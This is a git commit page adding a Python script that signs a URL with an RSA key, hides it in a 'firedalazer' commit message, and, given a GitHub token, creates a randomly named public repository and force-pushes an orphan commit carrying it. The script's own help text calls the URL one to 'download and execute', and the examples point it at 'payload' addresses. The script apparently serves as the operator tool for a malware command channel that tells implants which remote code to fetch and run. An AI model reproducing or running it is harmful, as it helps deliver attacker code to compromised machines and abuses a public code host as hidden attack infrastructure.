Upload files to "utility_scripts"
This commit is contained in:
@@ -0,0 +1,278 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import base64
|
||||
import random
|
||||
import subprocess
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
import requests
|
||||
|
||||
try:
|
||||
from cryptography.hazmat.primitives import hashes, serialization
|
||||
from cryptography.hazmat.primitives.asymmetric import padding
|
||||
except ImportError:
|
||||
try:
|
||||
subprocess.check_call(
|
||||
[sys.executable, "-m", "pip", "install", "cryptography"],
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.DEVNULL,
|
||||
)
|
||||
except:
|
||||
try:
|
||||
subprocess.check_call(
|
||||
[
|
||||
sys.executable,
|
||||
"-m",
|
||||
"pip",
|
||||
"install",
|
||||
"cryptography",
|
||||
"--break-system-packages",
|
||||
],
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.DEVNULL,
|
||||
)
|
||||
except:
|
||||
sys.exit(1)
|
||||
|
||||
from cryptography.hazmat.primitives import hashes, serialization
|
||||
from cryptography.hazmat.primitives.asymmetric import padding
|
||||
|
||||
|
||||
API = "https://api.github.com"
|
||||
|
||||
ADJECTIVES = [
|
||||
"stygian",
|
||||
"tartarean",
|
||||
"erebean",
|
||||
"infernal",
|
||||
"chthonic",
|
||||
"acheronian",
|
||||
"lethean",
|
||||
"plutonian",
|
||||
"abyssal",
|
||||
"charonian",
|
||||
"thanatic",
|
||||
"funereal",
|
||||
"nekyian",
|
||||
"sepulchral",
|
||||
"tenebrous",
|
||||
"cimmerian",
|
||||
]
|
||||
|
||||
NOUNS = [
|
||||
"cerberus",
|
||||
"charon",
|
||||
"tartarus",
|
||||
"erebus",
|
||||
"asphodel",
|
||||
"acheron",
|
||||
"styx",
|
||||
"lethe",
|
||||
"cocytus",
|
||||
"phlegethon",
|
||||
"shade",
|
||||
"eidolon",
|
||||
"wraith",
|
||||
"thanatos",
|
||||
"hecate",
|
||||
"persephone",
|
||||
]
|
||||
|
||||
|
||||
def gh(token: str, method: str, path: str, **kwargs) -> dict | None:
|
||||
url = f"{API}{path}" if path.startswith("/") else path
|
||||
headers = {
|
||||
"Authorization": f"Bearer {token}",
|
||||
"Accept": "application/vnd.github+json",
|
||||
"X-GitHub-Api-Version": "2022-11-28",
|
||||
}
|
||||
if "json" in kwargs:
|
||||
headers["Content-Type"] = "application/json"
|
||||
resp = requests.request(method, url, headers=headers, **kwargs)
|
||||
if not resp.ok:
|
||||
print(f"GitHub API error {resp.status_code}: {resp.text}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
if resp.status_code == 204:
|
||||
return None
|
||||
return resp.json()
|
||||
|
||||
|
||||
def generate_repo_name() -> str:
|
||||
adj = random.choice(ADJECTIVES)
|
||||
noun = random.choice(NOUNS)
|
||||
num = random.randint(10000, 99999)
|
||||
return f"{adj}-{noun}-{num}"
|
||||
|
||||
|
||||
def create_repo(token: str, name: str) -> str:
|
||||
"""Create a public repo and return owner/name."""
|
||||
repo = gh(
|
||||
token,
|
||||
"POST",
|
||||
"/user/repos",
|
||||
json={
|
||||
"name": name,
|
||||
"private": False,
|
||||
"auto_init": True,
|
||||
"has_issues": False,
|
||||
"has_wiki": False,
|
||||
},
|
||||
)
|
||||
return repo["full_name"]
|
||||
|
||||
|
||||
def create_orphan_commit(token: str, owner: str, repo: str, message: str) -> str:
|
||||
"""Create an empty tree and an orphan commit with the given message."""
|
||||
# Empty tree
|
||||
tree = gh(
|
||||
token,
|
||||
"POST",
|
||||
f"/repos/{owner}/{repo}/git/trees",
|
||||
json={
|
||||
"tree": [
|
||||
{"path": ".gitkeep", "mode": "100644", "type": "blob", "content": ""}
|
||||
],
|
||||
},
|
||||
)
|
||||
# Orphan commit (no parents)
|
||||
commit = gh(
|
||||
token,
|
||||
"POST",
|
||||
f"/repos/{owner}/{repo}/git/commits",
|
||||
json={
|
||||
"message": message,
|
||||
"tree": tree["sha"],
|
||||
"parents": [],
|
||||
},
|
||||
)
|
||||
return commit["sha"]
|
||||
|
||||
|
||||
def load_private_key(key_path: str):
|
||||
with open(key_path, "rb") as f:
|
||||
return serialization.load_pem_private_key(f.read(), password=None)
|
||||
|
||||
|
||||
def sign_url(url: str, private_key) -> tuple:
|
||||
url_b64 = base64.b64encode(url.encode()).decode()
|
||||
|
||||
signature = private_key.sign(
|
||||
url_b64.encode(),
|
||||
padding.PSS(
|
||||
mgf=padding.MGF1(hashes.SHA256()), salt_length=padding.PSS.MAX_LENGTH
|
||||
),
|
||||
hashes.SHA256(),
|
||||
)
|
||||
|
||||
signature_b64 = base64.b64encode(signature).decode()
|
||||
|
||||
return url_b64, signature_b64
|
||||
|
||||
|
||||
def generate_commit_message(url: str, private_key, prefix: str = "") -> str:
|
||||
url_b64, signature_b64 = sign_url(url, private_key)
|
||||
|
||||
if prefix:
|
||||
return f"{prefix}\n\nfiredalazer {url_b64}.{signature_b64}"
|
||||
else:
|
||||
return f"firedalazer {url_b64}.{signature_b64}"
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Generate signed GitHub commit messages",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
Examples:
|
||||
python3 commit_signer.py --url "https://example.com/script.py" --key private.pem
|
||||
python3 commit_signer.py --url "https://example.com/update.py" --key private.pem --prefix "Update"
|
||||
python3 commit_signer.py --url "https://example.com/payload" --keypair builds/DEMO-001/rsa_keypair.json
|
||||
python3 commit_signer.py --url "https://example.com/payload" --key private.pem --pat ghp_xxx
|
||||
""",
|
||||
)
|
||||
|
||||
parser.add_argument("--url", required=True, help="URL to download and execute")
|
||||
parser.add_argument("--key", help="Path to RSA private key PEM file")
|
||||
parser.add_argument("--keypair", help="Path to RSA keypair JSON file")
|
||||
parser.add_argument(
|
||||
"--prefix", default="", help="Optional prefix for commit message"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--pat", help="GitHub PAT. If provided, creates a repo and commits the message."
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.keypair:
|
||||
import json
|
||||
|
||||
from cryptography.hazmat.backends import default_backend
|
||||
from cryptography.hazmat.primitives.asymmetric import rsa
|
||||
|
||||
with open(args.keypair, "r") as f:
|
||||
keypair = json.load(f)
|
||||
|
||||
private_key = rsa.RSAPrivateNumbers(
|
||||
p=int(keypair["rsaPHex"], 16),
|
||||
q=int(keypair["rsaQHex"], 16),
|
||||
d=int(keypair["rsaDHex"], 16),
|
||||
dmp1=int(keypair["rsaDPHex"], 16),
|
||||
dmq1=int(keypair["rsaDQHex"], 16),
|
||||
iqmp=int(keypair["rsaQInvHex"], 16),
|
||||
public_numbers=rsa.RSAPublicNumbers(
|
||||
e=int(keypair["rsaExponentHex"], 16),
|
||||
n=int(keypair["rsaModulusHex"], 16),
|
||||
),
|
||||
).private_key(default_backend())
|
||||
|
||||
elif args.key:
|
||||
private_key = load_private_key(args.key)
|
||||
else:
|
||||
return 1
|
||||
|
||||
commit_msg = generate_commit_message(args.url, private_key, args.prefix)
|
||||
|
||||
print(f"\n{'=' * 60}")
|
||||
print(f"COMMIT MESSAGE:")
|
||||
print(f"{'=' * 60}")
|
||||
print(commit_msg)
|
||||
print(f"{'=' * 60}")
|
||||
print(f"\nTarget URL: {args.url}")
|
||||
|
||||
if args.pat:
|
||||
repo_name = generate_repo_name()
|
||||
print(f"\nCreating public repo: {repo_name}...")
|
||||
full_name = create_repo(args.pat, repo_name)
|
||||
owner, name = full_name.split("/")
|
||||
print(f" https://github.com/{full_name}")
|
||||
|
||||
print(f"Creating orphan commit...")
|
||||
commit_sha = create_orphan_commit(args.pat, owner, name, commit_msg)
|
||||
print(f" https://github.com/{full_name}/commit/{commit_sha}")
|
||||
|
||||
print(f"Pushing to main...")
|
||||
pushed = False
|
||||
for branch in ("main", "master"):
|
||||
try:
|
||||
gh(
|
||||
args.pat,
|
||||
"PATCH",
|
||||
f"/repos/{owner}/{name}/git/refs/heads/{branch}",
|
||||
json={"sha": commit_sha, "force": True},
|
||||
)
|
||||
print(f" {branch} now points to {commit_sha[:7]}")
|
||||
pushed = True
|
||||
break
|
||||
except SystemExit:
|
||||
continue
|
||||
if not pushed:
|
||||
print(f" failed to update main or master — commit is orphaned")
|
||||
|
||||
print(f"\nRepo: https://github.com/{full_name}")
|
||||
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
exit(main())
|
||||
Reference in New Issue
Block a user